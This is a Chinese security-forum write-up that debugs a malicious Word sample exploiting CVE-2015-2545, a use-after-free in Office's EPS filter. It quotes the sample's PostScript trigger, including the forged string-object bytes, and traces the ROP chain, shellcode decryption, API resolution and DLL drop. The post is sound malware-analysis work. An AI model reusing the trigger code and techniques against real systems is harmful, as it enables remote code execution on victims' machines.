问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2015-2545样本调试分析
CVE-2015-2545这是一种MSOffice漏洞,允许通过使用特殊的 Encapsulated PostScript (EPS)图形文件任意执行代码。本文主要是对其样本的调试分析过程。
0x01 漏洞说明 --------- 1. 这是一种MSOffice漏洞,允许通过使用特殊的 Encapsulated PostScript (EPS)图形文件任意执行代码。这种漏洞于2015年3月被发现,漏洞未修补情况持续了4个月。之后,微软发布了修复补丁(MS15-099),解决了这一安全问题。 漏洞发布时间:2015-09-08 漏洞更新时间:2015-09-08 影响系统: ```php Microsoft Office 2007 SP3 Microsoft Office 2010 SP2 Microsoft Office 2013 SP1 Microsoft Office 2013 RT SP1 Microsoft Office for Mac 2011 Microsoft Office for Mac 2016 Microsoft Office Compatibility Pack SP3 ``` 2. 漏洞原理分析 该word文档会释放`image1.eps`文件, 为精心设计的漏洞利用文件,即由 PostScript 语言编写的特殊图形文件,这里 Word 和 PostScript 的关系一定层度上可类比为 IE 浏览器和 JavaScript 的关系。 Word 程序在解析 EPS(Encapsulated PostScript)图形文件时存在一个 UAF(Use-After-Free)的漏洞,其错误代码位于 EPSIMP32 模块。样本中触发此漏洞的那部分 PostScript 代码: ```cpp /xx_41 5 dict def %定义dict2 xx_41 begin /keyZ1 1000 array def /keyZ2 10000 array def /keyZ3 1000 array def /keyZ4 1000 array def /keyZ5 1000 array def /keyZ6 1000 array def /keyZ7 1000 array def /keyZ8 1000 array def xx_41 end /xx_18467 3 dict def %定义dict1 xx_18467 begin /keyZ1 1000 array def xx_18467 end /xx_6334 0 def %一个标志位 xx_41 { xx_6334 1 eq %如果xx_6334为1,则执行.处理第二个元素的时候执行该语句 { /xx_26500 exch def /xx_19169 exch def exit } if pop pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 44 string pop 3 3 3 3 3 3 xx_18467 xx_41 copy %漏洞产生地方,拷贝dict时,会释放掉原来的dict,然后申请新的内存放入值. pop array pop array pop array pop array pop array pop array 1 1280 put 35 string pop 35 string pop 35 string 0 <00000000ff030000030000000000000000000000444444440005000000000000000000> putinterval %将字符串放入pNext指向的位置。 /xx_6334 xx_6334 1 add def } forall ``` 当通过 forall 操作 dict2 对象时,将对 dict2 中的 ‘key-value’ 进行迭代处理,且 pNext 指针指向下一对待处理的 ‘key-value’。然而,proc 中存在 `dict1 dict2 copy` 的操作,此过程会先释放掉 dict2 原有的 ‘key-value’ 空间,之后再申请新空间进行接下来的拷贝,即原先 pNext 指向的 ‘key-value’ 空间被释放了。而后在 putinterval 操作中将重新用到原先 pNext 指向的空间,并向其中写入特定的字符串。因此,在下一次迭代时,pNext 指向的数据就变成了我们所构造的 ‘key-value’。 0x02 **forall**函数分析: -------------------- word 释放 .eps文件后会加载EPSIMP32.FLT,在OD中的加载位置为0x6E050000, 在IDA中修改其imagebase 为0x6E050000. (由于未能一次分析完成, 该模块在分析过程中加载位置发生变化) ### 2.1 IDA 中定位到`forall`函数的位置. 搜索字符串`aforall`,然后交叉引用, 定位到forall 的函数处理过程: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-34e7a83b68d2f75715253fd0ba4f577e3cdaa94e.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-34e7a83b68d2f75715253fd0ba4f577e3cdaa94e.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-924e2441a7e200ffd9bccbd0092473fe95cc5fef.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-924e2441a7e200ffd9bccbd0092473fe95cc5fef.png) ### 2.2 定位到 `forall`中处理`dict`的位置 forall处理的数据类型有以下3中: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-67d95a42cb71b7dd9cbe4f3d68a1ef5ec883e856.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-67d95a42cb71b7dd9cbe4f3d68a1ef5ec883e856.png) ### 2.3 在OD中相应位置下断点: forall中对dict 的处理过程,包含三个重要的call: - get\_userdict\_pair - store\_to\_stack(type and value) - deferred\_exec (用户代码) ### 2.4 get\_userdict\_pair: #### 2.4.1 通过ecx 获取到关于dict操作的相关属性 - \[ecx + 8\] key的个数 - \[ecx + 4\] 默认循环次数 - \[ecx\] dict hash-table 由于重新加载了word, 以下imagebase 改为了 0x6D590000 #### 2.4.2 查找相应的真实存在的dict [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-2f15ef32e7c549636cd85afc3150295b09c78c49.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-2f15ef32e7c549636cd85afc3150295b09c78c49.png) #### 2.4.3 获取到处理的key和value [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-9f4ee3da665311e95eaaeb41dd2e488598aaa25d.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-9f4ee3da665311e95eaaeb41dd2e488598aaa25d.png) 得到 value key pNext: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-d4caa139259e8187fb99c0e94d2752a303603548.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-d4caa139259e8187fb99c0e94d2752a303603548.png) ### 2.5 store\_to\_stack(type and value) forall 操作的对象是dict时,首先将key和value放到操作栈。 函数 sub\_6D59D27E store\_to\_stack,传入了两个参数, 一个是将要拷贝的key或者value的在当前栈上的地址, 一个是EPSIMP32.FLT自己实现的操作栈,函数功能即为将key或者value的拷贝到操作栈. [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-bfa930dfdeaa5a3d4d9e45feed6d5bb6a639c49e.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-bfa930dfdeaa5a3d4d9e45feed6d5bb6a639c49e.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-710aabc9590202fa76e504eea252a215f5e1d03b.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-710aabc9590202fa76e504eea252a215f5e1d03b.png) #### 2.5.1首先是在当前栈上的拷贝: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-6f545c04a408af43bb8a8b12ef44053f8ba67b08.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-6f545c04a408af43bb8a8b12ef44053f8ba67b08.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-4cbbf777243d17d1f83eec23fc79f1d050cc581b.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-4cbbf777243d17d1f83eec23fc79f1d050cc581b.png) #### 2.5.2 然后同样是当前栈空间的拷贝: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-3059fdcca0b8546d430aea0026db5143760a1170.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-3059fdcca0b8546d430aea0026db5143760a1170.png) #### 2.5.3 最后是当前栈在操作栈上的拷贝: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-2a300bc127696ff8dbdf7cfeecad14a45ae5ca5f.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-2a300bc127696ff8dbdf7cfeecad14a45ae5ca5f.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-c3e23f1ff191d7c4955310665c0cc9dda614f699.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-c3e23f1ff191d7c4955310665c0cc9dda614f699.png) ### 2.6 执行每对key-value对应的例程 参数为ecx 与 eax.对应内容如下: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-a49b89f362b75b93c9e5a405fa48e65b76ba98ce.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-a49b89f362b75b93c9e5a405fa48e65b76ba98ce.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-84d91821b4c2668606aa09f9ad1a646b526ef4f0.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-84d91821b4c2668606aa09f9ad1a646b526ef4f0.png) #### 2.6.1定位copy 因为触发漏洞的语句在copy语句, 在IDA中定位到Copy, OD中下断点.会在copy的起始位置断下. #### 2.6.2 将如下数据拷贝到工作栈: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-a6a6ce62555bf0a5d8ba59ed9c27abab63dca544.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-a6a6ce62555bf0a5d8ba59ed9c27abab63dca544.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-463d41b17a0ae6a9a3628733e7a5105fdf534c24.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-463d41b17a0ae6a9a3628733e7a5105fdf534c24.png) #### 2.6.3 找到 delete函数,在OD中找到相应的位置,断下 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-0c602f7f4f7143c0bd83af5f7994ee82a523b2ea.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-0c602f7f4f7143c0bd83af5f7994ee82a523b2ea.png) 此时入参 ecx 寄存器指向的内容中包含了 dict2 的 hash-table 指针,接下去的操作将逐次释放 keyZ1~keyZ8 的空间,最后 hash-table 也会被释放掉: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-f990c55af6bafad4a103138929a22b643813dada.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-f990c55af6bafad4a103138929a22b643813dada.png) 第一个delete 操作符循环释放 keyZ1~keyZ8 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-638ca35588caefa617efd24aa36b793ed097f74e.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-638ca35588caefa617efd24aa36b793ed097f74e.png) 第二个delete 释放dict table的索引 #### 2.6.4 申请空间 1000byte 空间 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-298299a44a099b1668f4b05870c4572d265ccf6a.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-298299a44a099b1668f4b05870c4572d265ccf6a.png) 位置为[![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-a8c1f114d7973008f1ae9e5b4af1330d4bbd7261.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-a8c1f114d7973008f1ae9e5b4af1330d4bbd7261.png)发现与free的同一块儿内存. (第二个delete的内存) pNext指向的内存 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-d4c80f2baffd130e2f97c623dbb3241d7a0007d4.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-d4c80f2baffd130e2f97c623dbb3241d7a0007d4.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-5835a78ee517e776ba4f69ed66e04095d06777d9.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-5835a78ee517e776ba4f69ed66e04095d06777d9.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-cfe0ed682d77c9f6c152e35c133a4389d6b0659a.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-cfe0ed682d77c9f6c152e35c133a4389d6b0659a.png) ### 2.7 执行语句 putinterval : 0<00000000ff030000030000000000000000000000444444440005000000000000000000> putinterval [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-9e330e5c4210fea7737d2997a6985ace03fa748d.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-9e330e5c4210fea7737d2997a6985ace03fa748d.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-a3bda5531cf9ccd3d4fb22abac565f8f65eba404.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-a3bda5531cf9ccd3d4fb22abac565f8f65eba404.png) pNext : 069D5650 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-cad0b633c4ae3aefb96fd0232d55d0e2dee958bf.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-cad0b633c4ae3aefb96fd0232d55d0e2dee958bf.png) #### 2.7.1 找到 putinterval的执行过程 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-a82e3db68d7fd5fd52c0d3ee20217e7ef3a2f8b2.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-a82e3db68d7fd5fd52c0d3ee20217e7ef3a2f8b2.png) 在OD中断下: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-6e6ee4b3c7de24fb214f18894546f3c17cb438c8.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-6e6ee4b3c7de24fb214f18894546f3c17cb438c8.png) #### 2.7.2 定位到野指针的位置. [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-698cdbdec7fb395c72cdc9905ac04e311a7de46b.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-698cdbdec7fb395c72cdc9905ac04e311a7de46b.png) #### 2.7.3 构造字符串拷贝到野指针的位置: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-3b6cea1c8f2a792b2c52163e5a783f3959f53c7e.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-3b6cea1c8f2a792b2c52163e5a783f3959f53c7e.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-b4ae4ac4c616c3f73917143c481f6b9102689c5f.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-b4ae4ac4c616c3f73917143c481f6b9102689c5f.png) pNext :06AC58C0 ### 2.8 获取构造的值: 以上将语句 ```php 35 string 0 <00000000ff030000030000000000000000000000444444440005000000000000000000> putinterval ``` 执行完成后,pNext(野指针)指向的内存已经变为了上述的值.以下语句将xx\_26500 和 xx\_19169赋值. [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-7fce8a280a76fc85d24fbe8b0387d4a269a5f5aa.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-7fce8a280a76fc85d24fbe8b0387d4a269a5f5aa.png) ```php { /xx_26500 exch def /xx_19169 exch def ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-4543743488807bac31dd11ce567c21590aaff47d.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-4543743488807bac31dd11ce567c21590aaff47d.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-cc8db8066cb3a1e881ef8a31d9027122276716e4.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-cc8db8066cb3a1e881ef8a31d9027122276716e4.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-7fb57c7d38a78e662afb0fcb62058cfb8df93b2f.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-7fb57c7d38a78e662afb0fcb62058cfb8df93b2f.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-006a7e6beae9083a72788087628ae0f505695712.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-006a7e6beae9083a72788087628ae0f505695712.png) 73A84FB0 > 55 push ebp ; memcpy 找到 delete函数 0x03 构造ROP及释放shellcode与payload ------------------------------ ### 3.1 构造string对象: 在 PostScript 中会为每个 string 对象分配专门的 buffer 用于存储实际的字符串内容,其基址及大小就保存在该 string 对象中。就最终样本伪造的 string 对象来说,其 buffer 基址为 0x00000000,且大小为 0x7fffffff,因此借助此对象可以实现任意内存的读写。 在putinterval的此处可以观察到申请的string 起始位置和大小 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-dcd55f9e4fa0ae9a9784ef69c4546fd38d02e1ab.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-dcd55f9e4fa0ae9a9784ef69c4546fd38d02e1ab.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-d9d1701328c9c36e45043482606d871a4aaf865f.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-d9d1701328c9c36e45043482606d871a4aaf865f.png) 之后的memcpy实现了构造字符串功能: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-6a10a2d16ca9f6649cc54800c9b922555652af74.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-6a10a2d16ca9f6649cc54800c9b922555652af74.png) ### 3.2 搜索ROP gadgets 可在search proc函数出下断点,在以下位置可以跟踪搜索94 C3等指令过程.此处的edi可以查看search的 C3 94 字节指令() [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-c314e048c6f61a8a0c5790d9b4b59759a1c8b9e8.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-c314e048c6f61a8a0c5790d9b4b59759a1c8b9e8.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-760121347b535e6d9ea16d661dd3a7d07ea2ff0d.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-760121347b535e6d9ea16d661dd3a7d07ea2ff0d.png) ### 3.3 将shellcode 和 pe文件拷贝至内存: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-72aea2525e63c4c4d557939b802bddbc5fd8c580.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-72aea2525e63c4c4d557939b802bddbc5fd8c580.png) 在 putinterval 处理函数的如下memcpy出下断点可以观察shellcode以及释放PE文件的大小及位置. shellcode: size 0x430 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-89efa95aafb7ebf4fda6d9850c8086f94c45d650.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-89efa95aafb7ebf4fda6d9850c8086f94c45d650.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-af92988eba74758429b505f6f142e2cd1034ec6f.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-af92988eba74758429b505f6f142e2cd1034ec6f.png) PE: size : 0x1A010 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-2a49d0015adf8636f9d807916d6119db03093cdb.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-2a49d0015adf8636f9d807916d6119db03093cdb.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-27efc0ecbc72405070704021741ec9b9f5c2a1d0.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-27efc0ecbc72405070704021741ec9b9f5c2a1d0.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-75248cf94037e31ab40bbc9d95731934bc67ee1b.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-75248cf94037e31ab40bbc9d95731934bc67ee1b.png) ### 3.4 ROP链执行 通过修改操作符 bytesavailable 处理函数中的如下 call 指针跳转到 ROP 链上: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-955aaaa5261cfeb613c78bddcabaece28147bb7b.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-955aaaa5261cfeb613c78bddcabaece28147bb7b.png) 遇到的问题: EPSIMP32 模块要保证卸载时未使用软件断点: 0xCC 否则会引发winword运行错误, 可使用硬件断点.或者将软件断点都去掉。 0x04 获取shellcode返回地址. --------------------- ### 4.1 获取EPSIMP32 代码段范围 这里通过定位异常处理程序来拿到一个准基址, 以0x10000为单位向低地址搜索PE标志(0x5A4D)来 查找EPSIMP32 模块加载基址.然后根据 DllBase+BaseOfCode+SizeOfCode确定该模块的代码段范围 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-8ea783ca99c802aeb39610d6dd928eca61e6aa43.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-8ea783ca99c802aeb39610d6dd928eca61e6aa43.png) ### 4.2 获取shellcode返回地址 该shellcode是由EPSIMP32 模块的byterinterval(见前一章)函数调用ROP链,然后ROP链通过RET指令跳转到shellcode起始地址 (调用ROP链时使用opcode:FF 5010的字节码,对应汇编指令为call dword ptr \[eax+10h\] 的指令). shellcode中结束后,要想执行正常返回改行指令的下一行时,需要该返回在esp的位置.下面一节代码功能是寻找该返回地址.主要思路是: **获取当前栈底ebp的位置,然后以ebp为基准, -4为步长向esp方向取栈中每个数据, 如果该数据大小落在了ESPIMP32的.text段, 则进行该栈中数据(实际是一个地址)之前的三个字节比对,如果是FF 50 10,则说明是返回地址.** 得到返回地址后,存储到\[esp+18\]的位置. [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-29537cffe19313bf395b69637b7ecbc19cc050d0.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-29537cffe19313bf395b69637b7ecbc19cc050d0.png) 0x05 解密shellcode ---------------- 通过`seg000:08352FD4 E8 00 00 00 00 call $+5`这条指令获取到下一行地址入栈.用该地址加减字节数得到解密的起始地址放入esi.然后用解密起始地址加上一定的字节数得到另一段需要解密的地址放入edi. 通过以下两条指令进行解密. `shr dword ptr [edi],1` `rcl dword ptr [esi], 1` [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-87e5a109357bed9db8989b1bb7f049675f1fcedc.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-87e5a109357bed9db8989b1bb7f049675f1fcedc.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-ce84fc6306f5c4f63b38467b65372e6525d11a88.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-ce84fc6306f5c4f63b38467b65372e6525d11a88.png) 范围是: 0x8353008 - 0x8353378[![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-a4dd54dcb6f9f062dd3704c13e209bae99fb5c0c.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-a4dd54dcb6f9f062dd3704c13e209bae99fb5c0c.png) 0x06 遍历LDR链表,找到msvcrt模块 ----------------------- 通过fs:\[ecx+30h\]获取到PEB的地址 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-b79c160a4fbbd9904ba326e7fcec29387e804c9c.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-b79c160a4fbbd9904ba326e7fcec29387e804c9c.png) PEB中 0xC的位置是PEB\_LDR\_DATA结构: ```php typedef struct _PEB_LDR_DATA { ULONG Length; // +0x00 BOOLEAN Initialized; // +0x04 PVOID SsHandle; // +0x08 LIST_ENTRY InLoadOrderModuleList; // +0x0c LIST_ENTRY InMemoryOrderModuleList; // +0x14 LIST_ENTRY InInitializationOrderModuleList;// +0x1c } PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24 ``` 在PEB\_LDR\_DATA结构中,又包含三个LIST\_ENTRY结构体分别命名为: ```php InLoadOrderModuleList; 模块加载顺序 InMemoryOrderModuleList; 模块在内存中的顺序 InInitializationOrderModuleList; 模块初始化装载顺序 ``` 以上三个List实际为三个结构体: ```php typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; ``` Flink 与 Blink 分别指向了下一个模块的FLink地址和上一个模块的FLink地址,这个地址指向了一个结构:LDR\_DATA\_TABLE\_ENTRY, 然而值得注意的是并不是该结构的起始地址, 而是其中结构成员InInitializationOrderLinks的起始地址(及其中的FLINK).意味着获取到LDR\_DATA\_TABLE\_ENTRY时,加8个字节就得到了该模块的DllBase. ```php typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; WORD LoadCount; WORD TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; _ACTIVATION_CONTEXT * EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; ``` 注意: OD中第一个LDR\_DATA\_TABLE\_ENTRY结构是显示错误的,如下77D60000是DllBase. [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-d27fada516194c0aa997f8b5d6d2587412e78709.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-d27fada516194c0aa997f8b5d6d2587412e78709.png) 找到了msvcrt,执行0835303F E8 51000000 call 08353095 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-3118d2627a2b8d8e3a7a33480f73cfb6cb32ba89.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-3118d2627a2b8d8e3a7a33480f73cfb6cb32ba89.png) 0x07 获取之前写入内存中的PE文件 ------------------- 值得一提的是,上文提到的解密完成后esi指向的位置刚好是PE写入前20个字节的位置,edi指向的位置加0x4个字节是PE写入的位置.在下图的GetPELoadcationAndSize函数中得到了PE文件的起始地址和大小,分别通过eax和edx返回.(然而esi edi在后续未用到,做个备注) 083530ED E8 1E020000 call 08353310 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-f65b3169d49976c41158639961e6b81e6a2a66fa.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-f65b3169d49976c41158639961e6b81e6a2a66fa.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-236020138261a11f90cc73a70fe8cb58ac439b28.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-236020138261a11f90cc73a70fe8cb58ac439b28.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-f2ea77b8d263e8233cf8c3a60490b310b37cb00a.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-f2ea77b8d263e8233cf8c3a60490b310b37cb00a.png) GetPELocationAndSize代码如下,主要思路是:以当前指令为起始地址(edi),0x4字节为步长,对比指向的数据为0x55555555,0x66666666, 写入PE的时候用这8字节数据包裹了. 0x08 获取函数地址 ----------- ### 8.1 GetFunctionAddr(08353310)的实现 该shellcode自己实现了类似于API GetProcAddress的功能,主要思路是: - 通过上文中遍历LDR链获取到的msvcrt模块的基址, 找到导入名称表(INT) - 遍历INT,匹配的函数名 - 得到该函数在IAT中的位置,取得地址. [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-83ee3c9c62c622557e69599497dae58dd5ed5251.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-83ee3c9c62c622557e69599497dae58dd5ed5251.png) ### 8.2 函数名的来源 在进行函数名对比的时候,需要的函数名从何而来呢? [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-ad99d3ded058c00f3a65eb8f6281c64ac83563ea.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-ad99d3ded058c00f3a65eb8f6281c64ac83563ea.png) 下边这幅图中给出了答案. 在调用该函数之时,`call`指令将下一行地址入栈, 在此即为GetModuleHandleA的地址,放入了esp的位置. 在进入函数内部取得esp的值,即得到字符串的地址. [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-b8a2566e124caecde0f71cc316b16e956d2eb295.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-b8a2566e124caecde0f71cc316b16e956d2eb295.png) ### 8.3 获取函数名称汇总 通过以上方式获得函数地址有: - GetModuleHandleA - GetProcAddress - LoadLiabraryA - GetTempPathA - CreateFileA - WaitForSingleObject - WriteFile - CloseHandleA 0x09 释放恶意dll ------------ ### 9.1 构造释放路径 恶意代码首先用GetTempPathA获取当前环境下临时目录,然后拼接字符串,构造了释放路径 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-79ea17064ca1d4ef63aaa7eac58f5b553caca970.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-79ea17064ca1d4ef63aaa7eac58f5b553caca970.png) ### 9.2 创建文件: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-84b895d3331903afe0cc81d976a82397e16a85dc.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-84b895d3331903afe0cc81d976a82397e16a85dc.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-8d6c57b684a82ad0211daf7c2301b28b088646e3.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-8d6c57b684a82ad0211daf7c2301b28b088646e3.png) ### 9.3 写入文件: 文件句柄为刚刚CreateFile返回的句柄,写入文件大小为0x=1A000,写入的数据是之前putinterval操作函数写入内存的数据。 [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-682f6913e0e0115d545b0649d414af89050469ac.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-682f6913e0e0115d545b0649d414af89050469ac.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-d17039a470016e6c28317c27230a82f81a34d5d5.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-d17039a470016e6c28317c27230a82f81a34d5d5.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-1906e595704ef3d6edcec4243e3ba242c4cfd223.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-1906e595704ef3d6edcec4243e3ba242c4cfd223.png) 0x10 加载该模块: ----------- [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-de312d66eccb34bedfb447cf6175914cae62a85c.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-de312d66eccb34bedfb447cf6175914cae62a85c.png) 当一个DLL文件被映射到进程的地址空间时,系统调用该DLL的DllMain函数,传递的fdwReason参数为DLL\_PROCESS\_ATTACH。这种调用只会发生在第一次映射时。 0x11该模块Dllmain: --------------- [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-c4a3829d817408914541cdd367a75f8396af06e6.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-c4a3829d817408914541cdd367a75f8396af06e6.png) 线程函数在临时目录释放了文件并执行igfxe.exe: [![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-19d88f044b6dfe0a5f57b7538e0c7581c5d71363.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-19d88f044b6dfe0a5f57b7538e0c7581c5d71363.png) 